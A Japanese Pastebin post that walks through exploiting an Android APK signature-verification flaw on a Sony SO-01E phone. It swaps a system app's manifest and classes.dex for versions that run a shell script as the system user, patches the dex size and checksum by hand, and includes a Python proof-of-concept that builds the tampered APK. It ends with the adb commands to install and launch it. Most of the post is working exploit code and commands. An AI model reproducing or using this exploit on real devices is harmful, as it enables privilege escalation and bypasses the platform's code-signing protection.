Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- ■当方の検証環境
- Windows 7
- SO-01E
- ■apkの条件
- ・uid=1000で動くアプリであること
- service call package 24 i32 1000
- を端末のシェルで実行すると、(見づらいが)uid=1000で動くアプリのパッケージ名が列挙される
- ・通常のAndroidの動作を邪魔しない、およびアプリデータが初期化されても問題無いものであること
- 後始末でアップデートの削除をする時に、どうしてもアプリのデータが初期化されてしまうようです
- ・deodexなapk(対になるodexファイルが無く、apkにclasses.dexが埋め込まれているタイプ)であること
- コードを改変しなくても操作する手法はありますが、面倒です
- ここでは触れませんが、JDKに含まれるjdbを使って起動中の改変アプリを操作する感じです
- ・中に含まれるclasses.dexのサイズが64kBであること
- ■手順
- 1.ターゲットとなるapkをゲット
- 今回はShutDownAnimation.apk(com.sonyericsson.shutdownanim)を材料にします
- classes.dexのサイズも10kBと手頃です
- 2.apktool等でShutDownAnimation.apkを展開
- 3.AndroidManifest.xmlの改変
- <manifest><application>タグが残っていればあとは割と自由です
- ただ改変の機構上、ファイルサイズがオリジナルより小さくなければなりません
- <application>の内側に<activity>が1個だけある状態で十分でしょう
- まず、<manifest>の属性にandroid:sharedUserId="android.uid.system"があることを確認、これでuid=1000で動きます
- android:versionCodeは変えなくてもイケると思いますが、心配であれば数値を1増やしておきます
- android:versionNameもそのままでいいですが、ここを変えておくと端末の設定→アプリで表示されるので、検証時に改変状態であることが分かりやすくなります
- その他の<manifest><application>の属性はそのままでいいでしょう
- 私は以下のようにしました
- ●---------- AndroidManifest.xml ----------
- <?xml version="1.0" encoding="utf-8"?>
- <manifest android:sharedUserId="android.uid.system" android:versionCode="2" android:versionName="1.0mod" package="com.sonyericsson.shutdownanim"
- xmlns:android="http://schemas.android.com/apk/res/android">
- <application android:label="@string/app_name">
- <activity android:theme="@*android:style/Theme.Translucent.NoTitleBar" android:name=".MainActivity">
- <intent-filter>
- <action android:name="android.intent.action.MAIN" />
- </intent-filter>
- </activity>
- </application>
- </manifest>
- --------------------●
- ShutDownAnimation.apkには実は元々<activity>タグはありませんでしたが、大胆に変えています
- android:theme=~は、アプリを起動しても背景が透明になります(ホーム画面が透けて見えますが、上にアプリが乗っかってるのでホームの操作は出来ません)
- MainActivityクラスも元々存在しませんが、のちにコードを書きます
- アプリ一覧に出てくる必要も無いので、<intent-filter>もこれだけで良いでしょう
- 4.コードの改変
- 改変というか、ほとんど入れ替えです
- smali/com/sonyericsson/shutdownanimフォルダにいろいろsmaliファイルが入ってますが、全部削除します
- その代わりに、MainActivity.smaliを自作して配置します
- smaliが直接コーディング出来る人は、テキストで直書きしても良いでしょう
- 私はeclipseで適当なアプリを作ってJavaでコーディングしてコンパイル→apktoolで展開→MainActivity.smaliを取り出して(コードのクラスのパス等は修正して)利用、ということをしました
- (smali内のLcom/hoge/fuga/MainActivity;をLcom/sonyericsson/shutdownanim/MainActivity;にすればいいですね)
- 内容としては、onCreateにコマンドを実行するコードを書くだけですね
- ●---------- MainActivity.java ----------
- package com.hoge.fuga;
- import java.io.IOException;
- import android.os.Bundle;
- import android.app.Activity;
- import android.view.Menu;
- public class MainActivity extends Activity {
- @Override
- protected void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
- execSystem();
- }
- private void execSystem() {
- String[] command = {"/system/bin/sh", "-c", "/data/local/tmp/systemexec.sh"};
- ProcessBuilder pb = new ProcessBuilder(command);
- try {
- pb.start();
- } catch (IOException e) {
- // TODO 自動生成された catch ブロック
- e.printStackTrace();
- }
- }
- }
- --------------------●
- 上記例では、アプリが起動するとsystem権限で/data/local/tmp/systemexec.shが実行されることになります
- 5.apktool等でコンパイル・改変ファイルを取り出す
- コンパイル後のShutDownAnimation.apkはそのまま使うわけではありません
- 7zip等で、apkの中に入ってるAndroidManifest.xml(改)とclasses.dex(改)を取り出します
- 6.classes.dex(改)をいじる
- まず、classes.dex(改)のサイズを、オリジナルのclasses.dexに合わせます
- (改)はオリジナルより小さくなってるはずなので、足りない分、末尾にヌル文字を追加します
- pythonスクリプトだと以下のような感じです
- ●---------- padding.py ----------
- file_old = open('classes.dex', 'rb')
- old = file_old.read()
- file_old.close()
- file_new = open('classes.dex', 'wb')
- file_new.write(old)
- file_new.write('\0' * (10224 - len(old)))
- file_new.close()
- --------------------●
- 10224というところは、オリジナルのclasses.dexのサイズに読み替えてください
- さて、classes.dexにはサイズ情報とチェックサムが埋め込まれているので、バイナリエディタで修正します
- まずサイズですが、これはclasses.dexの0x20バイト目から多分4バイト分です
- オリジナルのclasses.dexのサイズが10224とすると、16進数で0x27F0になります
- リトルエンディアンで逆になるので、classes.dexの0x20を0xF0、0x21を0x27にします
- ADDRESS 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F
- ---------------------------------------------------------
- ~
- 00000020 F0 27 00 00 ~
- 上記改変により、チェックサムも変わってきます
- チェックサムはclasses.dexの0x08バイト目から4バイトが相当します
- 何のチェックサムかというと、classes.dexの0x0Cバイト目~末尾までに対するadler32という形式のものになります
- まず、classes.dexの冒頭12バイトを削り、classes.rawか何かに名前を変えて保存します
- そしてそのclasses.rawに対してadler32を算出します
- 私は手っ取り早く、オンラインでファイルをアップロードしadler32を算出してくれるサイトを利用しました
- http://www.fileformat.info/tool/hash.htm
- その結果、チェックサムは7f34ab0bと判明
- ということで、classes.dexの0x08~0x0bにこれを(リトルエンディアン、つまり逆で)書き込みます
- ADDRESS 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F
- ---------------------------------------------------------
- 00000000 ~ 0B AB 34 7F ~
- 上記作業で出来たものをclasses.dex(改2)とします
- classes.dexいじりは以上です
- 7.改変apkを生成
- オリジナルのShutDownAnimation.apk
- AndroidManifest.xml(改)
- classes.dex(改2)
- 以上を材料に、mod_ShutDownAnimation.apkを生成します
- ●---------- poc_apkmod.py ----------
- import zipfile
- import struct
- import sys
- # usage: ./poc_apkmod.py new.apk old.apk
- zout = zipfile.ZipFile(sys.argv[1], 'w')
- zin = zipfile.ZipFile(sys.argv[2], 'r')
- replace1 = 'AndroidManifest.xml'
- new1 = open('AndroidManifest.xml', 'rb').read()
- replace2 = 'classes.dex'
- new2 = open('classes.dex', 'rb').read()
- fp = zout.fp
- for name in zin.namelist():
- old = zin.read(name)
- if name == 'resources.arsc':
- zout.writestr(name, old, zipfile.ZIP_STORED)
- elif name.endswith('.png'):
- zout.writestr(name, old, zipfile.ZIP_STORED)
- elif name == replace1:
- assert len(new1) <= len(old)
- # write header, old data, and record offset
- zout.writestr(name, old, zipfile.ZIP_STORED)
- offset = fp.tell()
- # return to name length, set to skip old data
- fp.seek(-len(old) -len(name) -4, 1)
- fp.write(struct.pack('<H', len(name) + len(old)))
- # after old data, write new data \0 padded
- fp.seek(offset)
- fp.write(new1)
- fp.write('\0' * (len(old) - len(new1)))
- elif name == replace2:
- assert len(new2) <= len(old)
- # write header, old data, and record offset
- zout.writestr(name, old, zipfile.ZIP_STORED)
- offset = fp.tell()
- # return to name length, set to skip old data
- fp.seek(-len(old) -len(name) -4, 1)
- fp.write(struct.pack('<H', len(name) + len(old)))
- # after old data, write new data
- fp.seek(offset)
- fp.write(new2)
- else:
- zout.writestr(name, old, zipfile.ZIP_DEFLATED)
- zout.close()
- zin.close()
- --------------------●
- 材料たちを同じフォルダに突っ込み、上記pythonスクリプトを以下のコマンドラインで実行してください
- test.py mod_ShutDownAnimation.apk ShutDownAnimation.apk
- 成功すれば、同じフォルダにmod_ShutDownAnimation.apkが出来ます
- 8.あとは煮るなり焼くなり
- ・改変アプリのインストール(アップデート)
- adb install -r mod_ShutDownAnimation.apk
- ・改変アプリのMainActivity起動
- adb shell am start -a android.intent.action.MAIN -n com.sonyericsson.shutdownanim/.MainActivity
- ・改変アプリのアンインストール(アップデート削除)
- adb shell pm uninstall -k com.sonyericsson.shutdownanim
- アップデート削除だからか、-kオプションを付けてもデータが削除されるようですが、念の為付けてます
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement